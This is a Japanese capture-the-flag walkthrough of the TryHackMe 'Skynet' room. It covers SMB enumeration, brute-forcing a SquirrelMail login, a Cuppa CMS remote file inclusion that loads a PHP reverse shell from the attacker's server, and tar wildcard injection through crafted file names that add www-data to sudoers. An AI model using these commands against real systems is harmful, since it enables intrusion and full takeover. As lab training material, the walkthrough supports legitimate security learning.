今回はTryHackMeのSkynetを攻略していきます。

スキャニング

まずはnmapを使ってスキャニングしていきます。

$ nmap -sC -sV 10.10.174.150

気になるところとしてはSSH、HTTP、SMBのサービスが起動しています。

まずはHTTP、つまりWebサイトの調査をしていくことにします。

Webサイトの調査

gobusterを使ってWebサイトのページ、ディレクトリを調査していきます。

$ gobuster dir -u http://10.10.174.150/ -w /usr/share/wordlists/dirb/common.txt

いくつかのページがあるので1つ1つブラウザで確認していきいます。そこで気になるのが /squirrelmail のページです。ログイン画面がありますね。

ID : admin Password : admin といった予測可能なIDとPasswordを試してみましたが、ログインできませんでした。

調査が煮詰まったので、今度はSMBの調査をしてみます。

SMBの調査

まずはsmbmapでSMBの共有マウントを確認していきます。

smbmap -H 10.10.174.150

anonymousがあるので、ログインしてみます。

ファイルとディレクトリがあります。

smbclient //10.10.174.150/anonymous

まずは attention.txt をダウンロードします。そしてlogsディレクトリにも移動しています。

smb: \> dir
  .                                   D        0  Fri Nov 27 01:04:00 2020
  ..                                  D        0  Tue Sep 17 16:20:17 2019
  attention.txt                       N      163  Wed Sep 18 12:04:59 2019
  logs                                D        0  Wed Sep 18 13:42:16 2019

                9204224 blocks of size 1024. 5831068 blocks available
smb: \> get attention.txt
getting file \attention.txt of size 163 as attention.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \> cd logs

logsディレクトリ内にもファイルがあるのでダウンロードしておきましょう。

smb: \> cd logs
smb: \logs\> dir
  .                                   D        0  Wed Sep 18 13:42:16 2019
  ..                                  D        0  Fri Nov 27 01:04:00 2020
  log2.txt                            N        0  Wed Sep 18 13:42:13 2019
  log1.txt                            N      471  Wed Sep 18 13:41:59 2019
  log3.txt                            N        0  Wed Sep 18 13:42:16 2019
get 
                9204224 blocks of size 1024. 5831064 blocks available
smb: \logs\> get log1.txt
getting file \logs\log1.txt of size 471 as log1.txt (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
smb: \logs\>

ダウンロードした attention.txtlog1.txt を見てみます。

そうすると最近パスワードが変更されたという案内文とパスワード履歴のようなものがあります。

案内文を書いたのは Miles Dyson のため、milesdyson というIDと log1.txtのパスワード履歴(っぽい文字列)を用いて squirrelmail のログインを試みてみることにします。

パスワードクラッキング

さて、ログイン検証ですが、手作業でやってもいいのですが、今回はBurpSuiteでやってみることにします。

リクエストをキャプチャして、Intruderに送ります。

Intruderでパスワードの部分をパラメータ化します。

Payloadsタブで log1.txt を選択します。

そして Start attack ボタンを押します。

少し待つと結果が出力されます。

1つだけLengthが違うリクエストがあります。

実際にブラウザでログインを試してみるとログインできました。

ログイン後の画面

メールの調査

ログインして、メールを確認していきます。

1通のメールでSMBのパスワードが取得できました。

次はSMBのログインを試みます。

SMBの調査

ID : milesdyson と 取得したパスワードでsambaにログインを試みてみます。

smbclient //10.10.174.150/milesdyson -U milesdyson

ログインするといくつかのファイルとディレクトリがあるので確認していきます。

そのうちの1つに important.txt という怪しいファイルがあるのでダウンロードしておきます。

ダウンロードした important.txt の中を見てみると隠しページの情報がありました。

隠しページの調査

隠しページにブラウザでアクセスしてみます。

特に情報はないので、gobusterでWebサイトの調査をしていきます。

gobuster dir -u http://10.10.174.150/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirb/common.txt

/administorator といういかにも怪しいページが見つかりました。

今度はこのページを調査していきましょう。

隠し管理者ページの調査

まずはブラウザでアクセスしてみます。

そうするとログインが画面が表示されました。またこのページは cuppa cms というアプリケーションが使われているようです。

アプリケーション名がわかったので脆弱性があるか確認してみます。

$ searchspoloit cupa cms

脆弱性が見つかりました。脆弱性は Local / Remote File Inclusion です。

脆弱性を使って侵入

脆弱性が見つかったのでこの脆弱性を使って侵入することを考えてみます。

まずはこの脆弱とexploitに関する情報を確認するため、ファイルをダウンロードします。

$ searchsploit -m php/webapps/25971.txt

25971.txt を確認すると exploit 例が記載されています。urlConfig に実行するファイルを記載するようです。

まずは試しに2つ目のexploitを試してみます。

そうすると /etc/passwd が出力されました。Webサーバ用意してそこにリバースシェルのファイルを置いて同じに実行することでリバースシェルができそうです。

よって、リバースシェルファイルの用意、Webサーバの用意、待ち受けポートの作成をしてブラウザから実行をしてみることにします。

まずはリバースシェルファイルです。

$ wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

リバースシェルファイルの中身を環境に合わせて編集します。

次に新しいタブを用意してWebサーバを用意します。

このコマンドはリバースシェルファイルがあるディレクトリで実行します。

$ python3 -m http.server 80

さらに新しいタブを用意してリバースシェルの待受けポートを作成します。

$ nc -lvnp 1234

そして脆弱性を突いてリバースシェルファイルを実行します

http://10.10.174.150/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.9.80.126/php-reverse-shell.php

リバースシェルがうまく行けば侵入完了です。

権限昇格

侵入直後、アカウントは www-data のため、権限は低いです。今後は権限昇格を狙っていきます。

権限昇格のための情報収集としてまずは sudo -l を実行してみましたが、使えそうにありません。つづいて crontab を確認したところ backup.sh が定期的に動いています。

backup.sh を確認してみます。

tarコマンドで /var/www/html/フォルダ配下すべてをバックアップしています。

ワイルドカードインジェクションが使えそうです。

現在のユーザである www-data をsudersファイルに登録してsudoが使えるようにしていきます。

ワイルドカードインジェクションの説明はここです。

まずは実行させたいコマンドをシェルスクリプトとして作成します。viが使えないのでechoを使ってファイルを作成します。

$ cd /var/www/html/
$ echo 'echo "www-data ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > sudo.sh

ファイル名が --checkpoint-action=exec=sh sudo.sh および --checkpoint=1 になるようにファイルを作成します。これはbackup.sh実行時に tarコマンドのオプションとして認識され実行されます。

$ touch -- "--checkpoint-action=exec=sh sudo.sh"
$ touch -- "--checkpoint=1"

backup.shが1分ごとに実行されているため、1分ほど待ってsudoコマンドを実行してみます。

権限昇格がうまく行っていれば rootになっており、root.txtの中身が見れるようになります。